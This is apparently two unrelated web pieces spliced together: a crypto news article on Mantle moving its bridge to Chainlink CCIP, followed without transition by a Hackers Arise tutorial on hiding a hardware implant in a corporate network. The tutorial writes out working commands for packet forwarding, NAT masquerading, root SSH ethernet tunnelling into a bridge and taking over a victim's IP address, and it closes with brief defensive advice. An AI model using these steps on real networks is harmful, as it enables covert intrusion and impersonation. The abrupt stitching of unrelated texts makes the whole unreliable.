Mantle’s Chainlink CCIP migration is the kind of infrastructure story that matters precisely because it is not flashy. Bridges are where crypto has lost billions over the years, and every major ecosystem has to treat that history seriously.

The move suggests Mantle wants to reduce reliance on more fragile bridge assumptions and lean on a cross-chain framework with a broader security model.

For more details, visit the official Chainlink platform.

TL;DR

• Mantle is migrating its Super Portal bridge to Chainlink CCIP.
• The move is aimed at strengthening cross-chain transfer security.
• Bridge risk remains one of the most important infrastructure issues in crypto.

Why Bridge Security Still Dominates

Cross-chain transfers are powerful because they let liquidity move between ecosystems. They are dangerous because the bridge layer becomes a concentrated risk point. If something goes wrong there, the damage can be much bigger than a normal app exploit.

That is why migrating bridge infrastructure is a meaningful decision. It affects how users move assets and how much confidence they have in the network.

The CCIP Bet

Chainlink’s CCIP is increasingly being positioned as a standard cross-chain messaging layer. Mantle adopting it adds another example of large ecosystems looking for more robust interoperability tools.

For users, the technical details may fade into the background. But if the result is safer transfers, the impact is very real.

Why The Detail Matters Now

The practical takeaway is that Chainlink stories now have to be read through both market structure and product execution. A headline can create attention, but the more durable signal is whether the underlying source points to real activity, a real filing, a real integration, or a measurable change in how users and institutions behave.

That is why this development is worth separating from ordinary market noise. It gives readers a specific point to track over the next few sessions rather than a vague reason to be bullish or bearish. If follow-up data confirms the direction, the story can build. If not, it still gives the market a clearer snapshot of where attention is concentrating today.

The Market Read

The cleaner way to read this story is not to force it into a simple bullish or bearish box. For Chainlink readers, the useful part is the change in context. A new filing, integration, market signal, or regulatory step can alter how traders think about the next few sessions even when it does not instantly change price.

That is especially true after the last few volatile weeks, when crypto has been dealing with a mix of ETF flows, legal updates, exchange listings, protocol upgrades, and shifting liquidity. The market is no longer reacting to one dominant theme. It is weighing several smaller signals at once, and that makes source-backed developments more important than ordinary chatter.

Why Readers Should Keep This On The Radar

For Bitcoinist readers, the important question is what this changes from here. If follow-up data, filings, governance updates, or wallet movement confirm the direction, the story can develop into a larger market theme. If the next update is weak, delayed, or contradicted by new data, the market may quickly move on.

That is why the scope matters. This article is not treating the development as a guaranteed price trigger. It is treating it as a fresh signal inside a market that is trying to sort durable activity from short-term noise. The distinction is important because crypto narratives can move faster than the facts behind them.

The next thing to watch is whether this becomes part of a wider pattern. In some cases that means more institutional flows. In others it means stronger developer adoption, cleaner regulatory access, deeper exchange liquidity, or a clearer technical roadmap. Either way, the story is strongest if it is followed by measurable execution rather than another round of speculative headlines.

This article is based on information from Chainlink.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information from Chainlink. at Chainlink

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.